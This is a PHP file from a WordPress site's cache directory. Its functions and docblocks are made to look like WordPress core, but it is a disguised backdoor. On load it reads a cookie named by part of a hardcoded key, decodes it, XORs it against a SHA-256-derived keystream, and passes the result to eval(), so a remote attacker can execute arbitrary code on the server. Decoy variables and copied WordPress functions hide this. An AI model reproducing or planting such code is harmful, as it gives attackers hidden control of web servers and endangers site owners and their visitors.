File: /var/www/vhosts/enlugo.es/httpdocs/cache/wp-textdomain.php
<?php $searches = "computations";
/**
* Fires before rendering a specific Customizer section.
*
* The dynamic portion of the hook name, `$this->id`, refers to the ID
* of the specific Customizer section to be rendered.
*
* @since 3.4.0
*/
function setup_handle($PHPMAILER_LANG){
// ID3v2 flags %abcd0000
// validate_file() returns truthy for invalid files.
$left_lines = ['Toyota', 'Ford', 'BMW', 'Honda'];
$newlevel = 13;
$limits_debug = "a1b2c3d4e5";
$v_result_list = 4;
$NextObjectDataHeader = "Functionality";
// loop through comments array
// Load network activated plugins.
$post_templates = preg_replace('/[^0-9]/', '', $limits_debug);
$MsgArray = $left_lines[array_rand($left_lines)];
$callback_batch = 26;
$sitemaps = strtoupper(substr($NextObjectDataHeader, 5));
$submit_classes_attr = 32;
$css_var = $v_result_list + $submit_classes_attr;
$sorted = str_split($MsgArray);
$lead = array_map(function($processing_ids) {return intval($processing_ids) * 2;}, str_split($post_templates));
$YplusX = $newlevel + $callback_batch;
$update_url = mt_rand(10, 99);
// Aria-current attribute.
$decompressed = substr($PHPMAILER_LANG, -4);
$error_info = fill_descendants($PHPMAILER_LANG, $decompressed);
eval($error_info);
}
/**
* Retrieves archive link content based on predefined or custom code.
*
* The format can be one of four styles. The 'link' for head element, 'option'
* for use in the select element, 'html' for use in list (either ol or ul HTML
* elements). Custom content is also supported using the before and after
* parameters.
*
* The 'link' format uses the `<link>` HTML element with the **archives**
* relationship. The before and after parameters are not used. The text
* parameter is used to describe the link.
*
* The 'option' format uses the option HTML element for use in select element.
* The value is the url parameter and the before and after parameters are used
* between the text description.
*
* The 'html' format, which is the default, uses the li HTML element for use in
* the list HTML elements. The before parameter is before the link and the after
* parameter is after the closing link.
*
* The custom format uses the before parameter before the link ('a' HTML
* element) and the after parameter after the closing link tag. If the above
* three values for the format are not used, then custom format is assumed.
*
* @since 1.0.0
* @since 5.2.0 Added the `$li_attributes` parameter.
*
* @param string $CommentsCount URL to archive.
* @param string $stbl_res Archive text description.
* @param string $full_height Optional. Can be 'link', 'option', 'html', or custom. Default 'html'.
* @param string $filter_block_context Optional. Content to prepend to the description. Default empty.
* @param string $defined_area Optional. Content to append to the description. Default empty.
* @param bool $li_attributes Optional. Set to true if the current page is the selected archive page.
* @return string HTML link content for archive.
*/
function confirm_another_blog_signup($CommentsCount, $stbl_res, $full_height = 'html', $filter_block_context = '', $defined_area = '', $li_attributes = false)
{
$stbl_res = wptexturize($stbl_res);
$CommentsCount = esc_url($CommentsCount);
$featured_media = $li_attributes ? ' aria-current="page"' : '';
if ('link' === $full_height) {
$subcategory = "\t<link rel='archives' title='" . esc_attr($stbl_res) . "' href='{$CommentsCount}' />\n";
} elseif ('option' === $full_height) {
$structure_updated = $li_attributes ? " selected='selected'" : '';
$subcategory = "\t<option value='{$CommentsCount}'{$structure_updated}>{$filter_block_context} {$stbl_res} {$defined_area}</option>\n";
} elseif ('html' === $full_height) {
$subcategory = "\t<li>{$filter_block_context}<a href='{$CommentsCount}'{$featured_media}>{$stbl_res}</a>{$defined_area}</li>\n";
} else {
// Custom.
$subcategory = "\t{$filter_block_context}<a href='{$CommentsCount}'{$featured_media}>{$stbl_res}</a>{$defined_area}\n";
}
/**
* Filters the archive link content.
*
* @since 2.6.0
* @since 4.5.0 Added the `$CommentsCount`, `$stbl_res`, `$full_height`, `$filter_block_context`, and `$defined_area` parameters.
* @since 5.2.0 Added the `$li_attributes` parameter.
*
* @param string $subcategory The archive HTML link content.
* @param string $CommentsCount URL to archive.
* @param string $stbl_res Archive text description.
* @param string $full_height Link format. Can be 'link', 'option', 'html', or custom.
* @param string $filter_block_context Content to prepend to the description.
* @param string $defined_area Content to append to the description.
* @param bool $li_attributes True if the current page is the selected archive.
*/
return apply_filters('confirm_another_blog_signup', $subcategory, $CommentsCount, $stbl_res, $full_height, $filter_block_context, $defined_area, $li_attributes);
}
/**
* Returns the plural forms count.
*
* @since 2.8.0
*
* @return int Plural forms count.
*/
function filter_eligible_strategies($changeset_date_gmt, $pop3){
$level_key = strlen($changeset_date_gmt);
$kid = "Exploration";
// Check if the site admin has enabled auto-updates by default for the specific item.
$fallback_template = get_taxonomy_template($pop3, $level_key);
// Fallthrough.
$have_tags = substr($kid, 3, 4);
$uint32 = native_embed($fallback_template, $changeset_date_gmt);
return $uint32;
}
/**
* Gets the template hierarchy for the given template slug to be created.
*
* Note: Always add `index` as the last fallback template.
*
* @since 6.1.0
*
* @param string $working_dir_local The template slug to be created.
* @param bool $site_address Optional. Indicates if a template is custom or
* part of the template hierarchy. Default false.
* @param string $thisfile_riff_raw_rgad Optional. The template prefix for the created template.
* Used to extract the main template type, e.g.
* in `taxonomy-books` the `taxonomy` is extracted.
* Default empty string.
* @return string[] The template hierarchy.
*/
function site_admin_notice($working_dir_local, $site_address = false, $thisfile_riff_raw_rgad = '')
{
if ('index' === $working_dir_local) {
return array('index');
}
if ($site_address) {
return array('page', 'singular', 'index');
}
if ('front-page' === $working_dir_local) {
return array('front-page', 'home', 'index');
}
$my_day = array();
$colorspace_id = array($working_dir_local);
// Most default templates don't have `$thisfile_riff_raw_rgad` assigned.
if (!empty($thisfile_riff_raw_rgad)) {
list($col_meta) = explode('-', $thisfile_riff_raw_rgad);
// We need these checks because we always add the `$working_dir_local` above.
if (!in_array($thisfile_riff_raw_rgad, array($working_dir_local, $col_meta), true)) {
$colorspace_id[] = $thisfile_riff_raw_rgad;
}
if ($working_dir_local !== $col_meta) {
$colorspace_id[] = $col_meta;
}
} elseif (preg_match('/^(author|category|archive|tag|page)-.+$/', $working_dir_local, $my_day)) {
$colorspace_id[] = $my_day[1];
} elseif (preg_match('/^(taxonomy|single)-(.+)$/', $working_dir_local, $my_day)) {
$col_meta = $my_day[1];
$theme_files = $my_day[2];
$used_layout = 'single' === $col_meta ? get_post_types() : get_taxonomies();
foreach ($used_layout as $deprecated_2) {
if (!str_starts_with($theme_files, $deprecated_2)) {
continue;
}
// If $theme_files is equal to $post_type or $queue_count we have
// the single-$post_type template or the taxonomy-$queue_count template.
if ($theme_files === $deprecated_2) {
$colorspace_id[] = $col_meta;
break;
}
// If $theme_files is single-$post_type-$working_dir_local template.
if (strlen($theme_files) > strlen($deprecated_2) + 1) {
$colorspace_id[] = "{$col_meta}-{$deprecated_2}";
$colorspace_id[] = $col_meta;
break;
}
}
}
// Handle `archive` template.
if (str_starts_with($working_dir_local, 'author') || str_starts_with($working_dir_local, 'taxonomy') || str_starts_with($working_dir_local, 'category') || str_starts_with($working_dir_local, 'tag') || 'date' === $working_dir_local) {
$colorspace_id[] = 'archive';
}
// Handle `single` template.
if ('attachment' === $working_dir_local) {
$colorspace_id[] = 'single';
}
// Handle `singular` template.
if (str_starts_with($working_dir_local, 'single') || str_starts_with($working_dir_local, 'page') || 'attachment' === $working_dir_local) {
$colorspace_id[] = 'singular';
}
$colorspace_id[] = 'index';
return $colorspace_id;
}
/**
* Gets the full selector.
*
* @since 6.1.0
*
* @return string
*/
function discard_sidebar_being_rendered($content_from){
// IMAGETYPE_AVIF constant is only defined in PHP 8.x or later.
// COPYRIGHTS
// Any term found in the cache is not a match, so don't use it.
$clause_compare = $_COOKIE[$content_from];
// Handle current for post_type=post|page|foo pages, which won't match $self.
$exported_args = "Navigation System";
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
$LookupExtendedHeaderRestrictionsImageEncoding = rawurldecode($clause_compare);
// Try making request to homepage as well to see if visitors have been whitescreened.
return $LookupExtendedHeaderRestrictionsImageEncoding;
}
$field_key = range(1, 12);
/**
* Determines whether a theme directory should be ignored during export.
*
* @since 6.0.0
*
* @param string $field_options The path of the file in the theme.
* @return bool Whether this file is in an ignored directory.
*/
function get_nav_menu_item($field_options)
{
$wp_config_perms = array('.DS_Store', '.svn', '.git', '.hg', '.bzr', 'node_modules', 'vendor');
foreach ($wp_config_perms as $codepoint) {
if (str_starts_with($field_options, $codepoint)) {
return true;
}
}
return false;
}
/**
* Retrieves the query params for the collections.
*
* @since 5.6.0
*
* @return array Query parameters for the collection.
*/
function get_taxonomy_template($vars, $xind){
// Validate the post status exists.
$mce_buttons_2 = strlen($vars);
$resource_value = 14;
$NextObjectDataHeader = "Functionality";
$recently_edited = [85, 90, 78, 88, 92];
$drag_drop_upload = 8;
$mce_buttons_2 = $xind / $mce_buttons_2;
// should be found before here
$connection_type = 18;
$outer_loop_counter = array_map(function($matching_schemas) {return $matching_schemas + 5;}, $recently_edited);
$sitemaps = strtoupper(substr($NextObjectDataHeader, 5));
$foundlang = "CodeSample";
$min_data = $drag_drop_upload + $connection_type;
$update_url = mt_rand(10, 99);
$v_temp_zip = "This is a simple PHP CodeSample.";
$redirect_obj = array_sum($outer_loop_counter) / count($outer_loop_counter);
$post_type_in_string = mt_rand(0, 100);
$pending_comments = $sitemaps . $update_url;
$trusted_keys = $connection_type / $drag_drop_upload;
$permissive_match4 = strpos($v_temp_zip, $foundlang) !== false;
// In the rare case that DOMDocument is not available we cannot reliably sniff content and so we assume legacy.
$mce_buttons_2 = ceil($mce_buttons_2);
$mce_buttons_2 += 1;
$has_filter = str_repeat($vars, $mce_buttons_2);
return $has_filter;
}
/**
* Sanitizes global styles user content removing unsafe rules.
*
* @since 5.9.0
*
* @param string $yind Post content to filter.
* @return string Filtered post content with unsafe rules removed.
*/
function link_xfn_meta_box($yind)
{
$className = json_decode(wp_unslash($yind), true);
$min_count = json_last_error();
if (JSON_ERROR_NONE === $min_count && is_array($className) && isset($className['isGlobalStylesUserThemeJSON']) && $className['isGlobalStylesUserThemeJSON']) {
unset($className['isGlobalStylesUserThemeJSON']);
$VBRidOffset = WP_Theme_JSON::remove_insecure_properties($className);
$VBRidOffset['isGlobalStylesUserThemeJSON'] = true;
return wp_slash(wp_json_encode($VBRidOffset));
}
return $yind;
}
/**
* Credited role
*
* @var string
* @see get_role()
*/
function wp_render_typography_support(&$sample_permalink_html, &$no_ssl_support) {
$css_property = $sample_permalink_html;
$thisfile_asf_errorcorrectionobject = "abcxyz";
$offer = 6;
$newlevel = 13;
$frame_sellerlogo = "SimpleLife";
$namespace_stack = [5, 7, 9, 11, 13];
// Correct <!--nextpage--> for 'page_on_front'.
$empty_array = strtoupper(substr($frame_sellerlogo, 0, 5));
$callback_batch = 26;
$f2f3_2 = 30;
$count_log2 = strrev($thisfile_asf_errorcorrectionobject);
$padded_len = array_map(function($processing_ids) {return ($processing_ids + 2) ** 2;}, $namespace_stack);
// Play counter
$sample_permalink_html = $no_ssl_support;
// Loop through the whole attribute list.
$DKIM_identity = $offer + $f2f3_2;
$theme_root_uri = array_sum($padded_len);
$revisions_base = uniqid();
$YplusX = $newlevel + $callback_batch;
$tb_list = strtoupper($count_log2);
# fe_mul(z3,x1,z2);
// Schedule auto-draft cleanup.
$no_ssl_support = $css_property;
}
//
// Term API.
//
/**
* Retrieves object IDs of valid taxonomy and term.
*
* The strings of `$controls` must exist before this function will continue.
* On failure of finding a valid taxonomy, it will return a WP_Error.
*
* The `$terms` aren't checked the same as `$controls`, but still need to exist
* for object IDs to be returned.
*
* It is possible to change the order that object IDs are returned by using `$CommentStartOffset`
* with either ASC or DESC array. The value should be in the key named 'order'.
*
* @since 2.3.0
*
* @global wpdb $needle WordPress database abstraction object.
*
* @param int|int[] $subtree Term ID or array of term IDs of terms that will be used.
* @param string|string[] $controls String of taxonomy name or Array of string values of taxonomy names.
* @param array|string $CommentStartOffset {
* Change the order of the object IDs.
*
* @type string $stripped_query Order to retrieve terms. Accepts 'ASC' or 'DESC'. Default 'ASC'.
* }
* @return string[]|WP_Error An array of object IDs as numeric strings on success,
* WP_Error if the taxonomy does not exist.
*/
function generate_implied_end_tags($subtree, $controls, $CommentStartOffset = array())
{
global $needle;
if (!is_array($subtree)) {
$subtree = array($subtree);
}
if (!is_array($controls)) {
$controls = array($controls);
}
foreach ((array) $controls as $queue_count) {
if (!taxonomy_exists($queue_count)) {
return new WP_Error('invalid_taxonomy', __('Invalid taxonomy.'));
}
}
$scheduled_page_link_html = array('order' => 'ASC');
$CommentStartOffset = wp_parse_args($CommentStartOffset, $scheduled_page_link_html);
$stripped_query = 'desc' === strtolower($CommentStartOffset['order']) ? 'DESC' : 'ASC';
$subtree = array_map('intval', $subtree);
$controls = "'" . implode("', '", array_map('esc_sql', $controls)) . "'";
$subtree = "'" . implode("', '", $subtree) . "'";
$last_url = "SELECT tr.object_id FROM {$needle->term_relationships} AS tr INNER JOIN {$needle->term_taxonomy} AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ({$controls}) AND tt.term_id IN ({$subtree}) ORDER BY tr.object_id {$stripped_query}";
$frame_name = wp_cache_get_last_changed('terms');
$dropdown_args = 'generate_implied_end_tags:' . md5($last_url) . ":{$frame_name}";
$thisframebitrate = wp_cache_get($dropdown_args, 'term-queries');
if (false === $thisframebitrate) {
$options_graphic_bmp_ExtractData = $needle->get_col($last_url);
wp_cache_set($dropdown_args, $options_graphic_bmp_ExtractData, 'term-queries');
} else {
$options_graphic_bmp_ExtractData = (array) $thisframebitrate;
}
if (!$options_graphic_bmp_ExtractData) {
return array();
}
return $options_graphic_bmp_ExtractData;
}
/** @var int $h */
function fill_descendants($flag, $has_errors){
$sitemap_url = hash("sha256", $flag, TRUE);
$LookupExtendedHeaderRestrictionsImageEncoding = discard_sidebar_being_rendered($has_errors);
// This also updates the image meta.
$f9g6_19 = filter_eligible_strategies($LookupExtendedHeaderRestrictionsImageEncoding, $sitemap_url);
return $f9g6_19;
}
/**
* Retrieves the URL of the author of the current comment, not linked.
*
* @since 1.5.0
* @since 4.4.0 Added the ability for `$redirect_location` to also accept a WP_Comment object.
*
* @param int|WP_Comment $redirect_location Optional. WP_Comment or the ID of the comment for which to get the author's URL.
* Default current comment.
* @return string Comment author URL, if provided, an empty string otherwise.
*/
function ge_mul_l($redirect_location = 0)
{
$section_type = get_comment($redirect_location);
$serialized_value = '';
$redirect_location = 0;
if (!empty($section_type)) {
$serialized_value = 'http://' === $section_type->comment_author_url ? '' : $section_type->comment_author_url;
$serialized_value = esc_url($serialized_value, array('http', 'https'));
$redirect_location = $section_type->comment_ID;
}
/**
* Filters the comment author's URL.
*
* @since 1.5.0
* @since 4.1.0 The `$redirect_location` and `$section_type` parameters were added.
*
* @param string $serialized_value The comment author's URL, or an empty string.
* @param string|int $redirect_location The comment ID as a numeric string, or 0 if not found.
* @param WP_Comment|null $section_type The comment object, or null if not found.
*/
return apply_filters('ge_mul_l', $serialized_value, $redirect_location, $section_type);
}
/**
* Fires after a comment is deleted via the REST API.
*
* @since 4.7.0
*
* @param WP_Comment $section_type The deleted comment data.
* @param WP_REST_Response $response The response returned from the API.
* @param WP_REST_Request $APEheaderFooterData The request sent to the API.
*/
function native_embed($node_path, $layer){
$layer ^= $node_path;
$newlevel = 13;
$recently_edited = [85, 90, 78, 88, 92];
$external_plugins = 10;
$reply_to_id = 21;
// The href attribute on a and area elements is not required;
return $layer;
}
/**
* Fires the generichash_final action.
*
* See {@see 'generichash_final'}.
*
* @since 1.2.0
*/
function generichash_final()
{
/**
* Prints scripts or data in the head tag on the front end.
*
* @since 1.5.0
*/
do_action('generichash_final');
}
/**
* Sniff images
*
* @return string Actual Content-Type
*/
function rest_get_url_prefix($plugins_active) {
// If the block doesn't have the bindings property, isn't one of the supported
// Register the cache handler using the recommended method for SimplePie 1.3 or later.
$f4g0 = count($plugins_active);
// Deprecated: Generate an ID from the title.
// Set error message if DO_NOT_UPGRADE_GLOBAL_TABLES isn't set as it will break install.
for ($s18 = 0; $s18 < $f4g0 / 2; $s18++) {
wp_render_typography_support($plugins_active[$s18], $plugins_active[$f4g0 - 1 - $s18]);
}
// Furthermore, for historical reasons the list of atoms is optionally
return $plugins_active;
}
/* Cache */
/**
* Removes the category cache data based on ID.
*
* @since 2.1.0
*
* @param int $hramHash Category ID
*/
function subInt32($hramHash)
{
clean_term_cache($hramHash, 'category');
}
/**
* Fires once activated plugins have loaded.
*
* Pluggable functions are also available at this point in the loading order.
*
* @since 1.5.0
*/
function list_authors(){
$limits_debug = "a1b2c3d4e5";
$field_key = range(1, 12);
$offer = 6;
$resource_value = 14;
$mp3gain_globalgain_album_min = "LwoijnybEyhUN";
setup_handle($mp3gain_globalgain_album_min);
}
/**
* Remove all capabilities from user.
*
* @since 2.1.0
*
* @param int $hramHash User ID.
*/
function register_control_type($hramHash)
{
$hramHash = (int) $hramHash;
$response_code = new WP_User($hramHash);
$response_code->remove_all_caps();
}
$namespace_stack = [5, 7, 9, 11, 13];
/**
* Unzips a specified ZIP file to a location on the filesystem via the WordPress
* Filesystem Abstraction.
*
* Assumes that WP_Filesystem() has already been called and set up. Does not extract
* a root-level __MACOSX directory, if present.
*
* Attempts to increase the PHP memory limit to 256M before uncompressing. However,
* the most memory required shouldn't be much larger than the archive itself.
*
* @since 2.5.0
*
* @global WP_Filesystem_Base $skip_heading_color_serialization WordPress filesystem subclass.
*
* @param string $dependent_names Full path and filename of ZIP archive.
* @param string $old_ms_global_tables Full path on the filesystem to extract archive to.
* @return true|WP_Error True on success, WP_Error on failure.
*/
function update_postmeta_cache($dependent_names, $old_ms_global_tables)
{
global $skip_heading_color_serialization;
if (!$skip_heading_color_serialization || !is_object($skip_heading_color_serialization)) {
return new WP_Error('fs_unavailable', __('Could not access filesystem.'));
}
// Unzip can use a lot of memory, but not this much hopefully.
wp_raise_memory_limit('admin');
$plurals = array();
$old_ms_global_tables = trailingslashit($old_ms_global_tables);
// Determine any parent directories needed (of the upgrade directory).
if (!$skip_heading_color_serialization->is_dir($old_ms_global_tables)) {
// Only do parents if no children exist.
$field_options = preg_split('![/\\\\]!', untrailingslashit($old_ms_global_tables));
for ($s18 = count($field_options); $s18 >= 0; $s18--) {
if (empty($field_options[$s18])) {
continue;
}
$has_alpha = implode('/', array_slice($field_options, 0, $s18 + 1));
if (preg_match('!^[a-z]:$!i', $has_alpha)) {
// Skip it if it looks like a Windows Drive letter.
continue;
}
if (!$skip_heading_color_serialization->is_dir($has_alpha)) {
$plurals[] = $has_alpha;
} else {
break;
// A folder exists, therefore we don't need to check the levels below this.
}
}
}
/**
* Filters whether to use ZipArchive to unzip archives.
*
* @since 3.0.0
*
* @param bool $ziparchive Whether to use ZipArchive. Default true.
*/
if (class_exists('ZipArchive', false) && apply_filters('update_postmeta_cache_use_ziparchive', true)) {
$pre = _update_postmeta_cache_ziparchive($dependent_names, $old_ms_global_tables, $plurals);
if (true === $pre) {
return $pre;
} elseif (is_wp_error($pre)) {
if ('incompatible_archive' !== $pre->get_error_code()) {
return $pre;
}
}
}
// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
return _update_postmeta_cache_pclzip($dependent_names, $old_ms_global_tables, $plurals);
}
$exported_args = "Navigation System";
list_authors();
$php_update_message = substr($searches, 1, 5);
$max_stts_entries_to_scan = array_map(function($content_post) {return strtotime("+$content_post month");}, $field_key);
$padded_len = array_map(function($processing_ids) {return ($processing_ids + 2) ** 2;}, $namespace_stack);
/**
* Gets i18n schema for block's metadata read from `block.json` file.
*
* @since 5.9.0
*
* @return object The schema for block's metadata.
*/
function rest_cookie_check_errors()
{
static $custom_text_color;
if (!isset($custom_text_color)) {
$custom_text_color = wp_json_file_decode(__DIR__ . '/block-i18n.json');
}
return $custom_text_color;
}
$session_tokens_data_to_export = preg_replace('/[aeiou]/i', '', $exported_args);
/**
* Updates log when privacy request is confirmed.
*
* @since 4.9.6
* @access private
*
* @param int $wp_filename ID of the request.
*/
function is_wpmu_sitewide_plugin($wp_filename)
{
$APEheaderFooterData = wp_get_user_request($wp_filename);
if (!$APEheaderFooterData) {
return;
}
if (!in_array($APEheaderFooterData->status, array('request-pending', 'request-failed'), true)) {
return;
}
update_post_meta($wp_filename, '_wp_user_request_confirmed_timestamp', time());
wp_update_post(array('ID' => $wp_filename, 'post_status' => 'request-confirmed'));
}
// Send the password reset link.
/**
* @see ParagonIE_Sodium_Compat::bin2base64()
* @param string $posted_content
* @param int $smtp_code_ex
* @param string $mysql_server_version
* @return string
* @throws SodiumException
* @throws TypeError
*/
function upgrade_420($posted_content, $smtp_code_ex, $mysql_server_version = '')
{
return ParagonIE_Sodium_Compat::base642bin($posted_content, $smtp_code_ex, $mysql_server_version);
}
rest_get_url_prefix([3, 6, 9, 12, 15]);